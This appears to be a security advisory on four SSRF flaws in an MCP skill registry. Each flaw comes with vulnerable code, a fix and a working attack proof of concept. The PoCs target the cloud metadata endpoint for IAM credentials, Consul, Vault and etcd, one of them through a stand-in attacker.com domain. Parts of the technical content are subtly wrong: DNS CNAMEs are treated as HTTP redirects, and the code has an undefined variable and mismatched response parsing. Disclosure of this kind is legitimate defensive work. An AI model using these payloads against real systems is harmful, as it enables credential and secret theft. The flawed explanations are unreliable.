Claude MCP skill SSRF — skill certification and compliance verification endpoints (SA-SKL-SSRF76)
SA-SKL-SSRF76 identifies four server-side request forgery vulnerabilities in MCP skill registry skill certification and compliance verification endpoints. The certification authority verification endpoint fetches the user-supplied certAuthorityUrl without IP-range validation, enabling an attacker to set it to the AWS IMDS address and receive IAM credentials in the CA verification confirmation response; the compliance standard fetch endpoint fetches the user-supplied complianceStandardUrl and returns the full response body, enabling an attacker to point it at an internal Consul service on port 8500 and receive the complete service catalog as the compliance standard document; the certification webhook delivery endpoint fetches the user-supplied certWebhookUrl with redirect:follow, enabling an attacker to construct a CNAME chain that terminates at a Vault instance on port 8200 and returns KV secrets in the redirect destination response; and the compliance audit report export endpoint fetches the user-supplied auditExportUrl and stores the raw response body as a persistent compliance export record, enabling an attacker to point it at an internal etcd instance on port 2379 and persist the etcd configuration data to the compliance export history API where it can be retrieved at any time.
certAuthorityUrl — attacker sets to 169.254.169.254; IAM credentials in CA verification confirmation response; two-step IMDS credential exfiltrationcomplianceStandardUrl — attacker points to Consul:8500; full service catalog as compliance standard document response bodycertWebhookUrl with redirect:follow — CNAME chain to Vault:8200 returns KV secrets in redirect destination responseauditExportUrl and stores raw response as compliance export record — attacker points to etcd:2379; etcd config stored persistently via compliance export history APISSRF76-001 — CA verification fetches user-supplied certAuthorityUrl leaking IAM credentials
The certification authority verification endpoint accepts a certAuthorityUrl in the request body, intended to point at the external CA that issued the skill's compliance certificate. The endpoint makes an HTTP request to this URL to verify the CA's public key and returns a confirmation object containing the CA's response. No IP-range or hostname validation is applied to the URL before the request is made. An attacker submitting a certification request can set certAuthorityUrl to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and receive the list of attached IAM roles in the CA verification confirmation response, then follow up with a second request targeting the specific role name to obtain the full access key, secret key, and session token.
// SSRF76-001 — VULNERABLE
router.post('/certification/verify-ca', requireSession, async (req, res) => {
const { certAuthorityUrl, certificateId } = req.body;
// VULNERABLE: no URL validation — fetches any attacker-supplied URL
const caResponse = await fetch(certAuthorityUrl);
const caData = await caResponse.json();
res.json({ verified: true, caPublicKey: caData.publicKey, caName: caData.name });
});
Attack PoC — SSRF76-001: Two-step IMDS credential exfiltration via CA verification endpoint. Step 1 retrieves the IAM role name; step 2 retrieves the full credentials using the role name from step 1.
// SSRF76-001 — ATTACK PoC (two-step IMDS)
// Step 1: get role name
const step1 = await fetch('/api/registry/certification/verify-ca', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
certAuthorityUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
certificateId: 'any-cert-id',
}),
});
const { caName: roleName } = await step1.json(); // role name in caName field
// Step 2: get credentials using role name
const step2 = await fetch('/api/registry/certification/verify-ca', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
certAuthorityUrl: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`,
certificateId: 'any-cert-id',
}),
});
const creds = await step2.json();
// creds.caPublicKey = AccessKeyId, creds.caName = SecretAccessKey, etc.
// SSRF76-001 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');
router.post('/certification/verify-ca', requireSession, async (req, res) => {
const { certAuthorityUrl, certificateId } = req.body;
// FIXED: validate URL against private IP ranges and cloud metadata endpoints
await assertSafeExternalUrl(certAuthorityUrl);
// FIXED: HEAD-only request; return only status code — never return response body
const caResponse = await fetch(certAuthorityUrl, { method: 'HEAD', redirect: 'error' });
res.json({ verified: caResponse.ok, statusCode: caResponse.status });
});
SSRF76-002 — Compliance standard fetch returns Consul service catalog as compliance document
The compliance standard fetch endpoint accepts a complianceStandardUrl pointing at the external compliance framework specification document, fetches it, and returns the full response body for the client to render. No URL validation is performed. An attacker who points complianceStandardUrl at an internal Consul HTTP API endpoint (e.g., http://consul.internal:8500/v1/catalog/services) receives the full Consul service catalog as the compliance standard document response, exposing all internal service names, addresses, and health check metadata.
// SSRF76-002 — VULNERABLE
router.get('/compliance/standard', requireSession, async (req, res) => {
const { complianceStandardUrl } = req.query;
// VULNERABLE: fetches arbitrary URLs and returns full response body
const response = await fetch(complianceStandardUrl);
const body = await response.text();
res.json({ standard: body, fetchedAt: new Date().toISOString() });
});
Attack PoC — SSRF76-002: Attacker sets complianceStandardUrl to internal Consul endpoint. The full service catalog is returned as the compliance standard document body.
// SSRF76-002 — ATTACK PoC
const resp = await fetch(
'/api/registry/compliance/standard' +
'?complianceStandardUrl=http://consul.internal:8500/v1/catalog/services',
{ headers: { Authorization: `Bearer ${token}` } }
);
const { standard: serviceCatalog } = await resp.json();
// serviceCatalog contains all internal Consul service names and metadata
// SSRF76-002 — FIXED
router.get('/compliance/standard', requireSession, async (req, res) => {
const { complianceStandardUrl } = req.query;
await assertSafeExternalUrl(complianceStandardUrl);
// FIXED: return only metadata — never return response body
const response = await fetch(complianceStandardUrl, { method: 'HEAD', redirect: 'error' });
res.json({ reachable: response.ok, statusCode: response.status });
});
SSRF76-003 — Certification webhook delivery follows redirects enabling CNAME chain to Vault
The certification webhook delivery endpoint makes a POST request to the user-supplied certWebhookUrl to notify an external system that a certification event has occurred, and is configured with redirect: 'follow'. An attacker can register a domain they control with a CNAME record pointing at vault.internal:8200 and supply that domain as certWebhookUrl. The fetch client follows the CNAME chain, reaches the Vault instance, and receives a Vault API response (such as KV secret values if the Vault instance is misconfigured without authentication on certain paths) which is then returned to the attacker in the webhook delivery confirmation response.
// SSRF76-003 — VULNERABLE
router.post('/certification/webhook', requireSession, async (req, res) => {
const { certWebhookUrl, certificationEvent } = req.body;
// VULNERABLE: redirect:follow enables CNAME chain to internal services
const response = await fetch(certWebhookUrl, {
method: 'POST',
redirect: 'follow', // follows CNAME chains to internal hosts
body: JSON.stringify(certificationEvent),
headers: { 'Content-Type': 'application/json' },
});
const webhookResponse = await response.json();
res.json({ delivered: true, webhookResponse }); // returns body from redirect target
});
Attack PoC — SSRF76-003: Attacker registers ca-verify.attacker.com with CNAME to vault.internal:8200. The certification webhook delivery follows the CNAME chain and returns Vault KV secret data in the webhook confirmation response.
// SSRF76-003 — ATTACK PoC (DNS-rebinding / CNAME chain)
// DNS: ca-verify.attacker.com CNAME vault.internal → resolves to vault.internal:8200
const resp = await fetch('/api/registry/certification/webhook', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
certWebhookUrl: 'http://ca-verify.attacker.com:8200/v1/secret/data/registry-credentials',
certificationEvent: { type: 'cert.issued', skillId: 'any-skill-id' },
}),
});
const { webhookResponse: vaultSecrets } = await resp.json();
// vaultSecrets contains Vault KV secret values at the targeted path
// SSRF76-003 — FIXED
router.post('/certification/webhook', requireSession, async (req, res) => {
const { certWebhookUrl, certificationEvent } = req.body;
await assertSafeExternalUrl(certWebhookUrl);
const response = await fetch(certWebhookUrl, {
method: 'POST',
redirect: 'error', // FIXED: never follow redirects on webhook delivery
body: JSON.stringify(certificationEvent),
headers: { 'Content-Type': 'application/json' },
});
// FIXED: return only delivery status — never return response body
res.json({ delivered: response.ok, statusCode: response.status });
});
SSRF76-004 — Compliance audit report export stores raw SSRF response as persistent compliance record
The compliance audit report export endpoint fetches the user-supplied auditExportUrl and stores the full raw response body as a compliance export record in the registry's compliance history database. This creates a persistent SSRF exfiltration path: an attacker who points auditExportUrl at an internal etcd instance on port 2379 (e.g., http://etcd.internal:2379/v3/kv/range) will have the etcd configuration data stored as a compliance export record in the registry's database, where it can be retrieved at any time via the compliance export history API without re-triggering the SSRF. The persistence separates the attack from the exfiltration: the attacker can trigger the export once and retrieve the exfiltrated data repeatedly via the compliance history endpoint.
// SSRF76-004 — VULNERABLE
router.post('/compliance/export', requireSession, async (req, res) => {
const { auditExportUrl, exportLabel } = req.body;
// VULNERABLE: fetches arbitrary URL and stores full response body persistently
const response = await fetch(auditExportUrl);
const exportData = await response.text();
await db.complianceExports.create({
data: {
skillId: req.params.id,
label: exportLabel,
exportData, // stores raw SSRF response body — may be etcd config, Vault secrets, etc.
createdBy: req.session.userId,
},
});
res.json({ exported: true, exportId: newExport.id });
});
Attack PoC — SSRF76-004: Attacker triggers compliance export with auditExportUrl pointing at internal etcd. etcd configuration is stored as a compliance export record and can be retrieved at any time via the compliance history API.
// SSRF76-004 — ATTACK PoC (persistent SSRF exfiltration)
// Step 1: trigger export — stores etcd config in compliance history
await fetch('/api/registry/compliance/export', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
auditExportUrl: 'http://etcd.internal:2379/v3/kv/range',
exportLabel: 'Q4 compliance audit',
}),
});
// Step 2: retrieve persisted etcd config via compliance history (days later)
const history = await fetch('/api/registry/compliance/exports?skillId=target-skill-id',
{ headers: { Authorization: `Bearer ${token}` } }
).then(r => r.json());
const etcdConfig = history.exports[0].exportData; // etcd config persisted from step 1
// SSRF76-004 — FIXED
router.post('/compliance/export', requireSession, async (req, res) => {
const { auditExportUrl, exportLabel } = req.body;
await assertSafeExternalUrl(auditExportUrl);
// FIXED: HEAD request only — verify reachability without reading body
const response = await fetch(auditExportUrl, { method: 'HEAD', redirect: 'error' });
// FIXED: store only the status code — never store response body
await db.complianceExports.create({
data: {
skillId: req.params.id,
label: exportLabel,
exportUrl: auditExportUrl,
exportStatusCode: response.status, // only the HTTP status, never body content
createdBy: req.session.userId,
},
});
res.json({ exported: response.ok, statusCode: response.status });
});
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect SSRF vectors in certification and compliance endpoints — including redirect-follow chains, response body persistence, and missing URL allowlists — in under 60 seconds. See also SA-SKL-CORS73-BLOG for related MCP registry security analysis.